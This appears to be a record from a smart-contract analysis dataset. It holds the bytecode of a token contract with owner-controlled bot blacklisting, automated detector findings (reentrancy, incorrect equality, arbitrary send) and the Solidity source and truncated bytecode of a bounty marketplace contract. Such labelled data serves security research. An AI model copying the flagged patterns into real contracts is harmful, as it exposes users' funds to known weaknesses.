0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103fa578063cf0848f71461040f578063cf9d4afa1461042f578063dd62ed3e1461044f578063e6ec64ec14610495578063f2fde38b146104b557600080fd5b8063715018a6146103295780638da5cb5b1461033e57806390d49b9d1461036657806395d89b4114610386578063a9059cbb146103ba578063b515566a146103da57600080fd5b806331c2d8471161010857806331c2d847146102425780633bbac57914610262578063437823ec1461029b578063476343ee146102bb5780635342acb4146102d057806370a082311461030957600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b957806318160ddd146101e957806323b872dd1461020e578063313ce5671461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d5565b005b34801561017e57600080fd5b5060408051808201909152600c81526b5a656e697473752054616d6160a01b60208201525b6040516101b09190611918565b60405180910390f35b3480156101c557600080fd5b506101d96101d4366004611992565b610521565b60405190151581526020016101b0565b3480156101f557600080fd5b50670de0b6b3a76400005b6040519081526020016101b0565b34801561021a57600080fd5b506101d96102293660046119be565b610538565b34801561023a57600080fd5b506009610200565b34801561024e57600080fd5b5061017061025d366004611a15565b6105a1565b34801561026e57600080fd5b506101d961027d366004611ada565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a757600080fd5b506101706102b6366004611ada565b610637565b3480156102c757600080fd5b50610170610685565b3480156102dc57600080fd5b506101d96102eb366004611ada565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031557600080fd5b50610200610324366004611ada565b6106bf565b34801561033557600080fd5b506101706106e1565b34801561034a57600080fd5b506000546040516001600160a01b0390911681526020016101b0565b34801561037257600080fd5b50610170610381366004611ada565b610717565b34801561039257600080fd5b5060408051808201909152600b81526a5a656e6974737554616d6160a81b60208201526101a3565b3480156103c657600080fd5b506101d96103d5366004611992565b610791565b3480156103e657600080fd5b506101706103f5366004611a15565b61079e565b34801561040657600080fd5b506101706108b7565b34801561041b57600080fd5b5061017061042a366004611ada565b61096e565b34801561043b57600080fd5b5061017061044a366004611ada565b6109b9565b34801561045b57600080fd5b5061020061046a366004611af7565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104a157600080fd5b506101706104b0366004611b30565b610c14565b3480156104c157600080fd5b506101706104d0366004611ada565b610c8a565b6000546001600160a01b031633146105085760405162461bcd60e51b81526004016104ff90611b49565b60405180910390fd5b6000610513306106bf565b905061051e81610d22565b50565b600061052e338484610e9c565b5060015b92915050565b6000610545848484610fc0565b610597843361059285604051806060016040528060288152602001611cc4602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611401565b610e9c565b5060019392505050565b6000546001600160a01b031633146105cb5760405162461bcd60e51b81526004016104ff90611b49565b60005b8151811015610633576000600560008484815181106105ef576105ef611b7e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062b81611baa565b9150506105ce565b5050565b6000546001600160a01b031633146106615760405162461bcd60e51b81526004016104ff90611b49565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610633573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546105329061143b565b6000546001600160a01b0316331461070b5760405162461bcd60e51b81526004016104ff90611b49565b61071560006114bf565b565b6000546001600160a01b031633146107415760405162461bcd60e51b81526004016104ff90611b49565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052e338484610fc0565b6000546001600160a01b031633146107c85760405162461bcd60e51b81526004016104ff90611b49565b60005b815181101561063357600c5482516001600160a01b03909116908390839081106107f7576107f7611b7e565b60200260200101516001600160a01b0316141580156108485750600b5482516001600160a01b039091169083908390811061083457610834611b7e565b60200260200101516001600160a01b031614155b156108a55760016005600084848151811061086557610865611b7e565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108af81611baa565b9150506107cb565b6000546001600160a01b031633146108e15760405162461bcd60e51b81526004016104ff90611b49565b600c54600160a01b900460ff166109455760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104ff565b600c805460ff60b81b1916600160b81b17905542600d8190556109699060b4611bc5565b600e55565b6000546001600160a01b031633146109985760405162461bcd60e51b81526004016104ff90611b49565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e35760405162461bcd60e51b81526004016104ff90611b49565b600c54600160a01b900460ff1615610a4b5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104ff565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac69190611bdd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b379190611bdd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba89190611bdd565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3e5760405162461bcd60e51b81526004016104ff90611b49565b600c811115610c855760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104ff565b600855565b6000546001600160a01b03163314610cb45760405162461bcd60e51b81526004016104ff90611b49565b6001600160a01b038116610d195760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ff565b61051e816114bf565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6a57610d6a611b7e565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de79190611bdd565b81600181518110610dfa57610dfa611b7e565b6001600160a01b039283166020918202929092010152600b54610e209130911684610e9c565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e59908590600090869030904290600401611bfa565b600060405180830381600087803b158015610e7357600080fd5b505af1158015610e87573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610efe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ff565b6001600160a01b038216610f5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ff565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ff565b6001600160a01b0382166110865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ff565b600081116110e85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ff565b6001600160a01b03821660009081526005602052604090205460ff161561110e57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16156111b65760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104ff565b6001600160a01b03831660009081526004602052604081205460ff161580156111f857506001600160a01b03831660009081526004602052604090205460ff16155b801561120e5750600c54600160a81b900460ff16155b801561123e5750600c546001600160a01b038581169116148061123e5750600c546001600160a01b038481169116145b156113ef57600c54600160b81b900460ff1661129c5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104ff565b50600c546001906001600160a01b0385811691161480156112cb5750600b546001600160a01b03848116911614155b80156112d8575042600e54115b1561131f5760006112e8846106bf565b90506113086064611302670de0b6b3a7640000600261150f565b9061158e565b61131284836115d0565b111561131d57600080fd5b505b600d5442141561134d576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611358306106bf565b600c54909150600160b01b900460ff161580156113835750600c546001600160a01b03868116911614155b156113ed5780156113ed57600c546113b79060649061130290600f906113b1906001600160a01b03166106bf565b9061150f565b8111156113e457600c546113e19060649061130290600f906113b1906001600160a01b03166106bf565b90505b6113ed81610d22565b505b6113fb8484848461162f565b50505050565b600081848411156114255760405162461bcd60e51b81526004016104ff9190611918565b5060006114328486611c6b565b95945050505050565b60006006548211156114a25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104ff565b60006114ac611732565b90506114b8838261158e565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261151e57506000610532565b600061152a8385611c82565b9050826115378583611ca1565b146114b85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ff565b60006114b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611755565b6000806115dd8385611bc5565b9050838110156114b85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ff565b808061163d5761163d611783565b60008060008061164c8761179f565b6001600160a01b038d166000908152600160205260409020549397509195509350915061167990856117e6565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116a890846115d0565b6001600160a01b0389166000908152600160205260409020556116ca81611828565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161170f91815260200190565b60405180910390a3505050508061172b5761172b600954600855565b5050505050565b600080600061173f611872565b909250905061174e828261158e565b9250505090565b600081836117765760405162461bcd60e51b81526004016104ff9190611918565b5060006114328486611ca1565b60006008541161179257600080fd5b6008805460095560009055565b6000806000806000806117b4876008546118b2565b9150915060006117c2611732565b90506000806117d28a85856118df565b909b909a5094985092965092945050505050565b60006114b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611401565b6000611832611732565b90506000611840838361150f565b3060009081526001602052604090205490915061185d90826115d0565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a764000061188d828261158e565b8210156118a957505060065492670de0b6b3a764000092509050565b90939092509050565b600080806118c56064611302878761150f565b905060006118d386836117e6565b96919550909350505050565b600080806118ed868561150f565b905060006118fb868661150f565b9050600061190983836117e6565b92989297509195505050505050565b600060208083528351808285015260005b8181101561194557858101830151858201604001528201611929565b81811115611957576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051e57600080fd5b803561198d8161196d565b919050565b600080604083850312156119a557600080fd5b82356119b08161196d565b946020939093013593505050565b6000806000606084860312156119d357600080fd5b83356119de8161196d565b925060208401356119ee8161196d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a2857600080fd5b823567ffffffffffffffff80821115611a4057600080fd5b818501915085601f830112611a5457600080fd5b813581811115611a6657611a666119ff565b8060051b604051601f19603f83011681018181108582111715611a8b57611a8b6119ff565b604052918252848201925083810185019188831115611aa957600080fd5b938501935b82851015611ace57611abf85611982565b84529385019392850192611aae565b98975050505050505050565b600060208284031215611aec57600080fd5b81356114b88161196d565b60008060408385031215611b0a57600080fd5b8235611b158161196d565b91506020830135611b258161196d565b809150509250929050565b600060208284031215611b4257600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bbe57611bbe611b94565b5060010190565b60008219821115611bd857611bd8611b94565b500190565b600060208284031215611bef57600080fd5b81516114b88161196d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c4a5784516001600160a01b031683529383019391830191600101611c25565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c7d57611c7d611b94565b500390565b6000816000190483118215151615611c9c57611c9c611b94565b500290565b600082611cbe57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cde8a4d3c4e45d244bf13c9172eb5b8e526258dced5db948e6876dd2c58f1b6b64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,023 |
0x8ed59fdbfdc14dbd87d1d74a6cbbdf16c3d787e5
|
pragma solidity ^0.4.22;
contract DmlMarketplace {
// Public Variables
mapping(address => bool) public moderators;
address public token;
// bountyFactory address
DmlBountyFactory public bountyFactory;
mapping(address => uint) public totals;
mapping(address => mapping(address => bool)) public hasPurchased;
address[] public algos;
mapping(address => address[]) public algosByCreator;
constructor() public {
moderators[msg.sender] = true;
}
function isReady() view public returns (bool success) {
if (token == address(0) || bountyFactory == address(0)) {
return false;
}
return true;
}
function isModerator(address modAddress) view public returns (bool success) {
return moderators[modAddress];
}
function addModerator(address newModerator) public {
require(isModerator(msg.sender));
moderators[newModerator] = true;
}
function removeModerator(address mod) public {
require(isModerator(msg.sender));
moderators[mod] = false;
}
function addAlgo(uint price) public {
require(isReady());
Algo a = new Algo(price, msg.sender, token, address(this));
algos.push(a);
algosByCreator[msg.sender].push(a);
}
function getAllAlgos() view public returns (address[] _algos) {
return algos;
}
function getAlgosByCreator(address creatorAddress) view public returns (address[] _algos) {
return algosByCreator[creatorAddress];
}
function init (address newTokenAddress) public returns (bool success) {
require(isModerator(msg.sender));
token = newTokenAddress;
DmlBountyFactory f = new DmlBountyFactory(token);
bountyFactory = f;
return true;
}
function setBountyFactory(address factoryAddress) public {
require(isModerator(msg.sender));
DmlBountyFactory f = DmlBountyFactory(factoryAddress);
bountyFactory = f;
}
function buy(address algoAddress, uint value) public returns (bool success) {
address sender = msg.sender;
require(!hasPurchased[msg.sender][algoAddress]);
ERC20Interface c = ERC20Interface(token);
require(c.transferFrom(sender, algoAddress, value));
hasPurchased[sender][algoAddress] = true;
if (totals[algoAddress] < 1) {
totals[algoAddress] = 1;
} else {
totals[algoAddress]++;
}
return true;
}
function forceBuy(address algoAddress, address purchaser) public returns (bool success) {
require(isModerator(msg.sender));
hasPurchased[purchaser][algoAddress] = true;
return true;
}
function transferToken (address receiver, uint amount) public {
require(isModerator(msg.sender));
ERC20Interface c = ERC20Interface(token);
require(c.transfer(receiver, amount));
}
}
contract DmlBountyFactory {
address public marketplace;
address public token;
address[] public allBountyAddresses;
mapping(address => address[]) public bountyAddressByCreator;
mapping(address => address[]) public bountyAddressByParticipant;
constructor(address tokenAddress) public {
marketplace = msg.sender;
token = tokenAddress;
}
function getAllBounties() view public returns (address[] bounties) {
return allBountyAddresses;
}
function getBountiesByCreator(address creatorAddress) view public returns (address[] bounties) {
return bountyAddressByCreator[creatorAddress];
}
function getBountiesByParticipant(address participantAddress) view public returns (address[] bounties) {
return bountyAddressByParticipant[participantAddress];
}
function createBounty(string name, uint[] prizes) public {
address creator = msg.sender;
address newBounty = new Bounty(token, creator, name, prizes, marketplace);
allBountyAddresses.push(newBounty);
bountyAddressByCreator[msg.sender].push(newBounty);
}
function joinBounty(address bountyAddress) public {
Bounty b = Bounty(bountyAddress);
require(b.join(msg.sender));
bountyAddressByParticipant[msg.sender].push(bountyAddress);
}
}
contract Bounty {
// contract addresses
address public factory;
// public constants
address public creator;
address public token;
address public marketplace;
// state variables
string public name;
uint[] public prizes;
uint public createdAt;
address[] public winners;
address[] public participants;
Status public status;
mapping(address => bool) public participantsMap;
enum Status {
Initialized,
EnrollmentStart,
EnrollmentEnd,
BountyStart,
BountyEnd,
EvaluationEnd,
Completed,
Paused,
Cancelled
}
constructor(
address tokenAddress,
address creatorAddress,
string initName,
uint[] initPrizes,
address mpAddress
) public {
factory = msg.sender;
marketplace = mpAddress;
creator = creatorAddress;
token = tokenAddress;
prizes = initPrizes;
status = Status.Initialized;
name = initName;
createdAt = now;
}
function isFunded() public view returns (bool success) {
ERC20Interface c = ERC20Interface(token);
require(getTotalPrize() <= c.balanceOf(address(this)));
return true;
}
function getData() public view returns (string retName, uint[] retPrizes, address[] retWinenrs, address[] retParticipants, Status retStatus, address retCreator, uint createdTime) {
return (name, prizes, winners, participants, status, creator, createdAt);
}
function join(address participantAddress) public returns (bool success) {
require(msg.sender == factory);
if (status != Status.EnrollmentStart) {
return false;
}
if (participantsMap[participantAddress] == true) {
return false;
}
participants.push(participantAddress);
participantsMap[participantAddress] = true;
return true;
}
function changeCreator(address _creator) public {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender));
creator = _creator;
}
function updateBounty(string newName, uint[] newPrizes) public {
require(updateName(newName));
require(updatePrizes(newPrizes));
}
function updateName(string newName) public returns (bool success) {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender) || msg.sender == creator);
name = newName;
return true;
}
function forceUpdateName(string newName) public returns (bool success) {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender));
name = newName;
return true;
}
function updatePrizes(uint[] newPrizes) public returns (bool success) {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender) || msg.sender == creator);
require(status == Status.Initialized);
prizes = newPrizes;
return true;
}
function forceUpdatePrizes(uint[] newPrizes) public returns (bool success) {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender));
prizes = newPrizes;
return true;
}
function setStatus(Status newStatus) private returns (bool success) {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender) || msg.sender == creator);
status = newStatus;
return true;
}
function forceSetStatus(Status newStatus) public returns (bool success) {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender));
status = newStatus;
return true;
}
function startEnrollment() public {
require(status == Status.Initialized);
require(prizes.length > 0);
require(isFunded());
setStatus(Status.EnrollmentStart);
}
function stopEnrollment() public {
require(status == Status.EnrollmentStart);
setStatus(Status.EnrollmentEnd);
}
function startBounty() public {
require(status == Status.EnrollmentEnd);
setStatus(Status.BountyStart);
}
function stopBounty() public {
require(status == Status.BountyStart);
setStatus(Status.BountyEnd);
}
function updateWinners(address[] newWinners) public {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender) || msg.sender == creator);
require(status == Status.BountyEnd);
require(newWinners.length == prizes.length);
for (uint i = 0; i < newWinners.length; i++) {
require(participantsMap[newWinners[i]]);
}
winners = newWinners;
setStatus(Status.EvaluationEnd);
}
function forceUpdateWinners(address[] newWinners) public {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender));
winners = newWinners;
}
function payoutWinners() public {
ERC20Interface c = ERC20Interface(token);
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender) || msg.sender == creator);
require(isFunded());
require(winners.length == prizes.length);
require(status == Status.EvaluationEnd);
for (uint i = 0; i < prizes.length; i++) {
require(c.transfer(winners[i], prizes[i]));
}
setStatus(Status.Completed);
}
function getTotalPrize() public constant returns (uint total) {
uint t = 0;
for (uint i = 0; i < prizes.length; i++) {
t = t + prizes[i];
}
return t;
}
function transferToken (address receiver, uint amount) public {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender));
ERC20Interface c = ERC20Interface(token);
require(c.transfer(receiver, amount));
}
}
contract Algo {
// public constants
address public creator;
address public token;
address public marketplace;
uint public price;
Status public status;
enum Status {
PendingReview,
Inactive,
Active
}
constructor(
uint _price,
address _creator,
address _token,
address _marketplace
) public {
price = _price;
marketplace = _marketplace;
token = _token;
creator = _creator;
}
function updatePrice(uint _price) public {
require(isModOrCreator());
price = _price;
}
function setActive() public {
require(isModOrCreator());
require(status == Status.Inactive);
status = Status.Active;
}
function setInactive() public {
require(isModOrCreator());
require(status == Status.Active);
status = Status.Inactive;
}
function approveAlgo() public {
require(isMod());
status = Status.Active;
}
function setPendingReview() public {
require(isMod());
status = Status.PendingReview;
}
function changeCreator(address _creator) public {
DmlMarketplace dmp = DmlMarketplace(marketplace);
require(dmp.isModerator(msg.sender));
creator = _creator;
}
function getData() view public returns (uint _price, Status _status) {
return (price, status);
}
function isMod() view private returns (bool success) {
DmlMarketplace dmp = DmlMarketplace(marketplace);
return (dmp.isModerator(msg.sender));
}
function isModOrCreator() view private returns (bool success) {
return (isMod() || msg.sender == creator);
}
function transferToken (address receiver, uint amount) public {
require(isModOrCreator());
ERC20Interface c = ERC20Interface(token);
require(c.transfer(receiver, amount));
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
|
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631072cbea1461010c57806314d0f1ba1461015957806316a2a0cc146101b457806319ab453c146101f757806349135b0f146102525780634b447781146102be5780634ffe34db1461032b57806357aaf08b146103825780636f395e9f1461041a57806378b2910514610495578063869d785f14610510578063a094a03114610553578063b532e4cb14610582578063b8f75c0b146105c5578063c7c5a7b61461061c578063cce7ec13146106a9578063f778f32b1461070e578063fa6f39361461073b578063fc0c546a14610796575b600080fd5b34801561011857600080fd5b50610157600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107ed565b005b34801561016557600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610916565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610936565b005b34801561020357600080fd5b50610238600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610994565b604051808215151515815260200191505060405180910390f35b34801561025e57600080fd5b50610267610ab7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156102aa57808201518184015260208101905061028f565b505050509050019250505060405180910390f35b3480156102ca57600080fd5b506102e960048036038101908080359060200190929190505050610b45565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561033757600080fd5b5061036c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b83565b6040518082815260200191505060405180910390f35b34801561038e57600080fd5b506103c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b9b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156104065780820151818401526020810190506103eb565b505050509050019250505060405180910390f35b34801561042657600080fd5b5061047b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c68565b604051808215151515815260200191505060405180910390f35b3480156104a157600080fd5b506104f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c97565b604051808215151515815260200191505060405180910390f35b34801561051c57600080fd5b50610551600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d4c565b005b34801561055f57600080fd5b50610568610dba565b604051808215151515815260200191505060405180910390f35b34801561058e57600080fd5b506105c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e7c565b005b3480156105d157600080fd5b506105da610eea565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561062857600080fd5b50610667600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106b557600080fd5b506106f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f5d565b604051808215151515815260200191505060405180910390f35b34801561071a57600080fd5b50610739600480360381019080803590602001909291905050506112c0565b005b34801561074757600080fd5b5061077c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114d2565b604051808215151515815260200191505060405180910390f35b3480156107a257600080fd5b506107ab611527565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60006107f8336114d2565b151561080357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156108cb57600080fd5b505af11580156108df573d6000803e3d6000fd5b505050506040513d60208110156108f557600080fd5b8101908080519060200190929190505050151561091157600080fd5b505050565b60006020528060005260406000206000915054906101000a900460ff1681565b6000610941336114d2565b151561094c57600080fd5b81905080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000806109a0336114d2565b15156109ab57600080fd5b82600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a1761154d565b808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050604051809103906000f080158015610a69573d6000803e3d6000fd5b50905080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001915050919050565b60606005805480602002602001604051908101604052809291908181526020018280548015610b3b57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610af1575b5050505050905090565b600581815481101515610b5457fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60036020528060005260406000206000915090505481565b6060600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015610c5c57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610c12575b50505050509050919050565b60046020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b6000610ca2336114d2565b1515610cad57600080fd5b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b610d55336114d2565b1515610d6057600080fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e665750600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610e745760009050610e79565b600190505b90565b610e85336114d2565b1515610e9057600080fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660205281600052604060002081815481101515610f2b57fe5b906000526020600020016000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000339150600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610ffb57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166323b872dd8387876040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156110f757600080fd5b505af115801561110b573d6000803e3d6000fd5b505050506040513d602081101561112157600080fd5b8101908080519060200190929190505050151561113d57600080fd5b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673f